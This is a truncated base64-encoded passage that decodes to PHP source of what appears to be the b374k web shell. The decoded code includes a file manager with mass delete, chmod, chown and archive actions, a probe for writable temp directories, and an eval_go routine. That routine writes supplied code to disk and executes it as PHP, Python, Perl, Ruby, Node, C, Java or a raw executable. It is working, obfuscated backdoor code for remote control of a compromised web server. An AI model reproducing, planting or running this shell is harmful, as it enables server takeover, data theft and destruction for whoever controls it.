2lkdGg6MTIwcHg7Jz5leHBsb3Jlcjwvc3Bhbj4KCTxzcGFuIGNsYXNzPSdhY3Rpb24gYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5hY3Rpb248L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAncmF3Jyk7aGlkZV9ib3goKTtcIj5yYXc8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnY29kZScpO2hpZGVfYm94KCk7XCI+Y29kZTwvc3Bhbj4KCTxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdoZXgnKTtoaWRlX2JveCgpO1wiPmhleDwvc3Bhbj4KCTxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdpbWFnZScpO2hpZGVfYm94KCk7XCI+aW1hZ2U8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnbXVsdGltZWRpYScpO2hpZGVfYm94KCk7XCI+bXVsdGltZWRpYTwvc3Bhbj4KCTwvdGQ+PC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PGRpdiBpZD0ndmlld0ZpbGVjb250ZW50Jz4iLiRjb250ZW50LiI8L2Rpdj48L3RkPjwvdHI+Cgk8L3RhYmxlPiI7CgkJfQoJCWVsc2UgJG91dHB1dCA9ICJlcnJvciI7CgkJcmV0dXJuICRvdXRwdXQ7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X3dyaXRhYmxlZGlyJykpewoJZnVuY3Rpb24gZ2V0X3dyaXRhYmxlZGlyKCl7CgkJaWYoaXNfd3JpdGFibGUoIi4iKSkgcmV0dXJuIHJlYWxwYXRoKCIuIikuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQllbHNlewoJCQlmb3JlYWNoKGFycmF5KCdUTVAnLCAnVEVNUCcsICdUTVBESVInKSBhcyAkayl7CgkJCQlpZighZW1wdHkoJF9FTlZbJGtdKSl7CgkJCQkJaWYoaXNfd3JpdGFibGUoJF9FTlZbJGtdKSkgcmV0dXJuIHJlYWxwYXRoKCRfRU5WWyRrXSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJCX0KCQkJfQoJCQlpZihmdW5jdGlvbl9leGlzdHMoInN5c19nZXRfdGVtcF9kaXIiKSl7CgkJCQkkZGlyID0gc3lzX2dldF90ZW1wX2RpcigpOwoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcikpIHJldHVybiByZWFscGF0aCgkZGlyKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCQl9CgkJCWVsc2V7CgkJCQlpZighaXNfd2luKCkpeyBpZihpc193cml0YWJsZSgiL3RtcCIpKSByZXR1cm4gIi90bXAvIjsgfQoJCQl9CgkJCSR0ZW1wZmlsZSA9IHRlbXBuYW0oX19GSUxFX18sJycpOwoJCQlpZihmaWxlX2V4aXN0cygkdGVtcGZpbGUpKXsKCQkJCSRkaXIgPSByZWFscGF0aChkaXJuYW1lKCR0ZW1wZmlsZSkpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCQl1bmxpbmsoJHRlbXBmaWxlKTsKCQkJCXJldHVybiAkZGlyOwoJCQl9CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZHJpdmVzJykpewoJZnVuY3Rpb24gZ2V0X2RyaXZlcygpewoJCSRkcml2ZXMgPSAiIjsKCQkkdiA9IGV4cGxvZGUoIlxcIiwgZ2V0X2N3ZCgpKTsKCQkkdiA9ICR2WzBdOwoJCWZvcmVhY2ggKHJhbmdlKCJBIiwgIloiKSBhcyAkbGV0dGVyKXsKCQkJaWYoQGlzX3JlYWRhYmxlKCRsZXR0ZXIuIjpcXCIpKXsKCQkJCSRkcml2ZXMgLj0gIjxhIGNsYXNzPSduYXZiYXInIGRhdGEtcGF0aD0nIi4kbGV0dGVyLiI6XFwnPlsgIjsKCQkJCWlmKCRsZXR0ZXIuIjoiICE9ICR2KSAkZHJpdmVzIC49ICRsZXR0ZXI7CgkJCQllbHNleyRkcml2ZXMgLj0gIjxzcGFuIGNsYXNzPSdkcml2ZS1sZXR0ZXInPiIuJGxldHRlci4iPC9zcGFuPiI7fQoJCQkJJGRyaXZlcyAuPSAiIF08L2E+ICI7CgkJCX0KCQl9CgkJcmV0dXJuICRkcml2ZXM7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc2hvd19hbGxfZmlsZXMnKSl7CglmdW5jdGlvbiBzaG93X2FsbF9maWxlcygkcGF0aCl7CgkJaWYoIWlzX2RpcigkcGF0aCkpIHJldHVybiAiTm8gc3VjaCBkaXJlY3RvcnkgOiAiLiRwYXRoOwoJCWNoZGlyKCRwYXRoKTsKCQkkb3V0cHV0ID0gIiI7CgkJJGFsbGZpbGVzID0gJGFsbGZvbGRlcnMgPSBhcnJheSgpOwoJCWlmKCRyZXMgPSBvcGVuZGlyKCRwYXRoKSl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcigkcmVzKSl7CgkJCQlpZigoJGZpbGUhPScuJykmJigkZmlsZSE9Ii4uIikpewoJCQkJCWlmKGlzX2RpcigkZmlsZSkpICRhbGxmb2xkZXJzW10gPSAkZmlsZTsKCQkJCQllbHNlaWYoaXNfZmlsZSgkZmlsZSkpJGFsbGZpbGVzW10gPSAkZmlsZTsKCQkJCX0KCQkJfQoJCX0KCQlhcnJheV91bnNoaWZ0KCRhbGxmb2xkZXJzLCAiLiIpOwoJCSRjdXIgPSBnZXRjd2QoKTsKCQljaGRpcigiLi4iKTsKCQlpZihnZXRjd2QoKSE9JGN1cikgYXJyYXlfdW5zaGlmdCgkYWxsZm9sZGVycywgIi4uIik7CgkJY2hkaXIoJGN1cik7CgkJbmF0Y2FzZXNvcnQoJGFsbGZvbGRlcnMpOwoJCW5hdGNhc2Vzb3J0KCRhbGxmaWxlcyk7CgkJJGNvbHMgPSBhcnJheSgpOwoJCWlmKGlzX3dpbigpKXsKCQkJJGNvbHMgPSBhcnJheSgKCQkJCQkicGVybXMiPT4iZ2V0X2ZpbGVwZXJtcyIsCgkJCQkJIm1vZGlmaWVkIj0+ImdldF9maWxlbXRpbWUiCgkJCQkJKTsKCQl9CgkJZWxzZXsKCQkJJGNvbHMgPSBhcnJheSgKCQkJCQkib3duZXIiPT4iZ2V0X2ZpbGVvd25lciIsCgkJCQkJInBlcm1zIj0+ImdldF9maWxlcGVybXMiLAoJCQkJCSJtb2RpZmllZCI9PiJnZXRfZmlsZW10aW1lIgoJCQkJCSk7CgkJfQoJCSR0b3RhbEZpbGVzID0gY291bnQoJGFsbGZpbGVzKTsKCQkkdG90YWxGb2xkZXJzID0gMDsKCQkkb3V0cHV0IC49ICI8dGFibGUgaWQ9J3hwbFRhYmxlJyBjbGFzcz0nZGF0YVZpZXcgc29ydGFibGUnPjx0aGVhZD4iOwoJCSRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdjb2wtbmFtZSc+bmFtZTwvdGg+PHRoIGNsYXNzPSdjb2wtc2l6ZSc+c2l6ZTwvdGg+IjsKCQlmb3JlYWNoKCRjb2xzIGFzICRrPT4kdil7CgkJCSRvdXRwdXQgLj0gIjx0aCBjbGFzcz0nY29sLSIuJGsuIic+Ii4kay4iPC90aD4iOwoJCX0KCQkkb3V0cHV0IC49ICI8L3RyPjwvdGhlYWQ+PHRib2R5PiI7CgkJZm9yZWFjaCgkYWxsZm9sZGVycyBhcyAkZCl7CgkJCSRjYm94RXhjZXB0aW9uID0gIiI7CgkJCWlmKCgkZD09Ii4iKXx8KCRkPT0iLi4iKSl7CgkJCQkkYWN0aW9uID0gImFjdGlvbmRvdCI7CgkJCQkkY2JveEV4Y2VwdGlvbiA9ICIgY0JveEV4Y2VwdGlvbiI7CgkJCX0KCQkJZWxzZXsKCQkJCSRhY3Rpb24gPSAiYWN0aW9uZm9sZGVyIjsKCQkJCSR0b3RhbEZvbGRlcnMrKzsKCQkJfQoJCQkkb3V0cHV0IC49ICIKCTx0ciBkYXRhLXBhdGg9XCIiLmh0bWxfc2FmZShyZWFscGF0aCgkZCkuRElSRUNUT1JZX1NFUEFSQVRPUikuIlwiPjx0ZD48ZGl2IGNsYXNzPSdjQm94Ii4kY2JveEV4Y2VwdGlvbi4iJz48L2Rpdj48L3RkPgoJPHRkIHN0eWxlPSd3aGl0ZS1zcGFjZTpub3JtYWw7Jz48YSBjbGFzcz0nbmF2aWdhdGUnPlsgIi5odG1sX3NhZmUoJGQpLiIgXTwvYT48c3BhbiBjbGFzcz0nIi4kYWN0aW9uLiIgZmxvYXRSaWdodCc+YWN0aW9uPC9zcGFuPjwvdGQ+Cgk8dGQ+RElSPC90ZD4iOwoJCQlmb3JlYWNoKCRjb2xzIGFzICRrPT4kdil7CgkJCQkkc29ydGFibGUgPSAiIjsKCQkJCWlmKCRrPT0nbW9kaWZpZWQnKSAkc29ydGFibGUgPSAiIHRpdGxlPSciLmZpbGVtdGltZSgkZCkuIiciOwoJCQkJJG91dHB1dCAuPSAiPHRkIi4kc29ydGFibGUuIj4iLiR2KCRkKS4iPC90ZD4iOwoJCQl9CgkJCSRvdXRwdXQgLj0gIjwvdHI+IjsKCQl9CgkJZm9yZWFjaCgkYWxsZmlsZXMgYXMgJGYpewoJCQkkb3V0cHV0IC49ICIKCTx0ciBkYXRhLXBhdGg9XCIiLmh0bWxfc2FmZShyZWFscGF0aCgkZikpLiJcIj48dGQ+PGRpdiBjbGFzcz0nY0JveCc+PC9kaXY+PC90ZD4KCTx0ZCBzdHlsZT0nd2hpdGUtc3BhY2U6bm9ybWFsOyc+PGEgY2xhc3M9J3ZpZXcnPiIuaHRtbF9zYWZlKCRmKS4iPC9hPjxzcGFuIGNsYXNzPSdhY3Rpb24gZmxvYXRSaWdodCc+YWN0aW9uPC9zcGFuPjwvdGQ+Cgk8dGQgdGl0bGU9JyIuZmlsZXNpemUoJGYpLiInPiIuZ2V0X2ZpbGVzaXplKCRmKS4iPC90ZD4iOwoJCQlmb3JlYWNoKCRjb2xzIGFzICRrPT4kdil7CgkJCQkkc29ydGFibGUgPSAiIjsKCQkJCWlmKCRrPT0nbW9kaWZpZWQnKSAkc29ydGFibGUgPSAiIHRpdGxlPSciLmZpbGVtdGltZSgkZikuIiciOwoJCQkJJG91dHB1dCAuPSAiPHRkIi4kc29ydGFibGUuIj4iLiR2KCRmKS4iPC90ZD4iOwoJCQl9CgkJCSRvdXRwdXQgLj0gIjwvdHI+IjsKCQl9CgkJJG91dHB1dCAuPSAiPC90Ym9keT48dGZvb3Q+IjsKCQkkY29sc3BhbiA9IDEgKyBjb3VudCgkY29scyk7CgkJJG91dHB1dCAuPSAiPHRyPjx0ZD48ZGl2IGNsYXNzPSdjQm94QWxsJz48L2Rpdj48L3RkPjx0ZD4KCQk8c2VsZWN0IGlkPSdtYXNzQWN0aW9uJyBjbGFzcz0nY29sU3Bhbic+CgkJPG9wdGlvbiBkaXNhYmxlZCBzZWxlY3RlZD5BY3Rpb248L29wdGlvbj4KCQk8b3B0aW9uPmN1dDwvb3B0aW9uPgoJCTxvcHRpb24+Y29weTwvb3B0aW9uPgoJCTxvcHRpb24+cGFzdGU8L29wdGlvbj4KCQk8b3B0aW9uPmRlbGV0ZTwvb3B0aW9uPgoJCTxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+CgkJPG9wdGlvbj5jaG1vZDwvb3B0aW9uPgoJCTxvcHRpb24+Y2hvd248L29wdGlvbj4KCQk8b3B0aW9uPnRvdWNoPC9vcHRpb24+CgkJPG9wdGlvbiBkaXNhYmxlZD4tLS0tLS0tLS0tLS08L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHRhcik8L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHRhci5neik8L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHppcCk8L29wdGlvbj4KCQk8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPgoJCTxvcHRpb24+Y29tcHJlc3MgKHRhcik8L29wdGlvbj4KCQk8b3B0aW9uPmNvbXByZXNzICh0YXIuZ3opPC9vcHRpb24+CgkJPG9wdGlvbj5jb21wcmVzcyAoemlwKTwvb3B0aW9uPgoJCTxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+CgkJPC9zZWxlY3Q+CgkJPC90ZD48dGQgY29sc3Bhbj0nIi4kY29sc3Bhbi4iJz48L3RkPjwvdHI+CgkJPHRyPjx0ZD48L3RkPjx0ZCBjb2xzcGFuPSciLisrJGNvbHNwYW4uIic+Ii4kdG90YWxGaWxlcy4iIGZpbGUocyksICIuJHRvdGFsRm9sZGVycy4iIEZvbGRlcihzKTxzcGFuIGNsYXNzPSd4cGxTZWxlY3RlZCc+PC9zcGFuPjwvdGQ+PC90cj4KCQkiOwoJCSRvdXRwdXQgLj0gIjwvdGZvb3Q+PC90YWJsZT4iOwoJCXJldHVybiAkb3V0cHV0OwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2V2YWxfZ2V0X3N1cHBvcnRlZCcpKXsKCWZ1bmN0aW9uIGV2YWxfZ2V0X3N1cHBvcnRlZCgpewoJCSRldmFsX3N1cHBvcnRlZCA9IGFycmF5KCk7CgkJCgkJJGV2YWxfc3VwcG9ydGVkW10gPSAicGhwIjsKCQkkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoInB5dGhvbiAtaCIpKTsKCQlpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gInB5dGhvbiI7CgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJwZXJsIC1oIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicGVybCI7CgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJydWJ5IC1oIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicnVieSI7CgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJub2RlIC1oIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAibm9kZSI7CgkJZWxzZXsKCQkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJub2RlanMgLWgiKSk7CgkJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAibm9kZWpzIjsKCQl9CgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJnY2MgLS1oZWxwIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAiZ2NjIjsKCQkkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoImphdmEgLWhlbHAiKSk7CgkJaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKXsKCQkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJqYXZhYyAtaGVscCIpKTsKCQkJaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJqYXZhIjsKCQl9CgkJcmV0dXJuIGltcGxvZGUoIiwiLCAkZXZhbF9zdXBwb3J0ZWQpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2V2YWxfZ28nKSl7CglmdW5jdGlvbiBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsKCQkkcmVzID0gIiI7CgkJJG91dHB1dCA9ICIiOwoJCWlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7CgkJaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsKCQlpZigkZXZhbFR5cGU9PSJwaHAiKXsKCQkJb2Jfc3RhcnQoKTsKCQkJZXZhbCgkZXZhbENvZGUpOwoJCQkkcmVzID0gb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCW9iX2VuZF9jbGVhbigpOwoJCQlyZXR1cm4gJHJlczsKCQl9CgkJZWxzZWlmKCgkZXZhbFR5cGU9PSJweXRob24iKXx8KCRldmFsVHlwZT09InBlcmwiKXx8KCRldmFsVHlwZT09InJ1YnkiKXx8KCRldmFsVHlwZT09Im5vZGUiKXx8KCRldmFsVHlwZT09Im5vZGVqcyIpKXsKCQkJJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOwoJCQljaGRpcigkdG1wZGlyKTsKCQkJJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOwoJCQlpZihpc193cml0YWJsZSgkdG1wZGlyKSl7CgkJCQkkcmVzIC49ICIgKHdyaXRhYmxlKVxuIjsKCQkJCSR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CgkJCQkkZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXE7CgkJCQkkcGF0aCA9ICRmaWxlbmFtZTsKCQkJCSRyZXMgLj0gIlRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsKCQkJCWlmKHdyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpewoJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCSRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsKCQkJCQlpZihjaG1vZCgkcGF0aCwgMDc1NSkpewoJCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkJJGNtZCA9ICRldmFsVHlwZS4iICIuJGV2YWxPcHRpb25zLiRwYXRoLiRldmFsQXJndW1lbnRzOwoJCQkJCQkkcmVzIC49ICJFeGVjdXRlIDogIi4kY21kLiJcbiI7CgkJCQkJCSRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOwoJCQkJCX0KCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCQkJJHJlcyAuPSAiRmluaXNoZWQuLi4iOwoJCQlyZXR1cm4gJHJlcy4ie1t8YjM3NGt8XX0iLiRvdXRwdXQ7CgkJfQoJCWVsc2VpZigkZXZhbFR5cGU9PSJnY2MiKXsKCQkJJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOwoJCQljaGRpcigkdG1wZGlyKTsKCQkJJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOwoJCQlpZihpc193cml0YWJsZSgkdG1wZGlyKSl7CgkJCQkkcmVzIC49ICIgKHdyaXRhYmxlKVxuIjsKCQkJCSR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CgkJCQkkZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5jIjsKCQkJCSRwYXRoID0gJGZpbGVuYW1lOwoJCQkJJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CgkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJJGV4dCA9IChpc193aW4oKSk/ICIuZXhlIjoiLm91dCI7CgkJCQkJJHBhdGhyZXMgPSAkZmlsZW5hbWUuJGV4dDsKCQkJCQkkZXZhbE9wdGlvbnMgPSAiLW8gIi4kcGF0aHJlcy4iICIuJGV2YWxPcHRpb25zOwoJCQkJCSRjbWQgPSAiZ2NjICIuJGV2YWxPcHRpb25zLiRwYXRoOwoJCQkJCSRyZXMgLj0gIkNvbXBpbGluZyA6ICIuJGNtZDsKCQkJCQkkcmVzIC49IGV4ZWN1dGUoJGNtZCk7CgkJCQkJaWYoaXNfZmlsZSgkcGF0aHJlcykpewoJCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkJJHJlcyAuPSAiU2V0dGluZyBwZXJtaXNzaW9ucyA6IDA3NTUiOwoJCQkJCQlpZihjaG1vZCgkcGF0aHJlcywgMDc1NSkpewoJCQkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJCQkkY21kID0gJHBhdGhyZXMuJGV2YWxBcmd1bWVudHM7CgkJCQkJCQkkcmVzIC49ICJFeGVjdXRlIDogIi4kY21kLiJcbiI7CgkJCQkJCQkkb3V0cHV0ID0gZXhlY3V0ZSgkY21kKTsKCQkJCQkJfQoJCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCQkJJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRocmVzOwoJCQkJCQlpZih1bmxpbmsoJHBhdGhyZXMpKSAkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQkJfQoJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJCSRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsKCQkJCQlpZih1bmxpbmsoJHBhdGgpKSAkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCX0KCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQl9CgkJCWVsc2UgJHJlcyAuPSAiIChub3Qgd3JpdGFibGUpXG4iOwoJCQkkcmVzIC49ICJGaW5pc2hlZC4uLiI7CgkJCXJldHVybiAkcmVzLiJ7W3xiMzc0a3xdfSIuJG91dHB1dDsKCQl9CgkJZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsKCQkJJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOwoJCQljaGRpcigkdG1wZGlyKTsKCQkJJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOwoJCQlpZihpc193cml0YWJsZSgkdG1wZGlyKSl7CgkJCQkkcmVzIC49ICIgKHdyaXRhYmxlKVxuIjsKCQkJCWlmKHByZWdfbWF0Y2goIi9jbGFzc1wgKFtee10rKXsvaSIsJGV2YWxDb2RlLCAkcikpewoJCQkJCSRjbGFzc25hbWUgPSB0cmltKCRyWzFdKTsKCQkJCQkkZmlsZW5hbWUgPSAkY2xhc3NuYW1lOwoJCQkJfQoJCQkJZWxzZXsKCQkJCQkkdW5pcSA9IHN1YnN0cihtZDUodGltZSgpKSwwLDgpOwoJCQkJCSRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsKCQkJCQkkZXZhbENvZGUgPSAiY2xhc3MgIi4kZmlsZW5hbWUuIiB7ICIuJGV2YWxDb2RlIC4gIiB9ICI7CgkJCQl9CgkJCQkkcGF0aCA9ICRmaWxlbmFtZS4iLmphdmEiOwoJCQkJJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CgkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJJGNtZCA9ICJqYXZhYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKCQkJCQkkcmVzIC49ICJDb21waWxpbmcgOiAiLiRjbWQ7CgkJCQkJJHJlcyAuPSBleGVjdXRlKCRjbWQpOwoJCQkJCSRwYXRocmVzID0gJGZpbGVuYW1lLiIuY2xhc3MiOwoJCQkJCWlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKCQkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJCSRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsKCQkJCQkJaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsKCQkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkJJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOwoJCQkJCQkJJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOwoJCQkJCQkJJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7CgkJCQkJCX0KCQkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQkJCSRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aHJlczsKCQkJCQkJaWYodW5saW5rKCRwYXRocmVzKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJCX0KCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCQkJJHJlcyAuPSAiRmluaXNoZWQuLi4iOwoJCQlyZXR1cm4gJHJlcy4ie1t8YjM3NGt8XX0iLiRvdXRwdXQ7CgkJfQoJCWVsc2VpZigkZXZhbFR5cGU9PSJleGVjdXRhYmxlIil7CgkJCSR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsKCQkJY2hkaXIoJHRtcGRpcik7CgkJCSRyZXMgLj0gIlVzaW5nIGRpciA6ICIuJHRtcGRpcjsKCQkJaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewoJCQkJJHJlcyAuPSAiICh3cml0YWJsZSlcbiI7CgkJCQkkdW5pcSA9IHN1YnN0cihtZDUodGltZSgpKSwwLDgpOwoJCQkJJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxLiIuZXhlIjsKCQkJCSRwYXRoID0gJGZpbGVuYW1lOwoJCQkJJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CgkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJJGNtZCA9ICRwYXRoLiRldmFsQXJndW1lbnRzOwoJCQkJCSRyZXMgLj0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsKCQkJCQkkb3V0cHV0ID0gZXhlY3V0ZSgkY21kKTsKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCQkJJHJlcyAuPSAiRmluaXNoZWQuLi4iOwoJCQlyZXR1cm4gJHJlcy4ie1t8YjM3NGt8XX0iLiRvdXRwdXQ7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCdvdXRwdXQnKSl7CglmdW5jdGlvbiBvdXRwdXQoJHN0cil7CgkJJGVycm9yID0gQG9iX2dldF9jb250ZW50cygpOwoJCUBvYl9l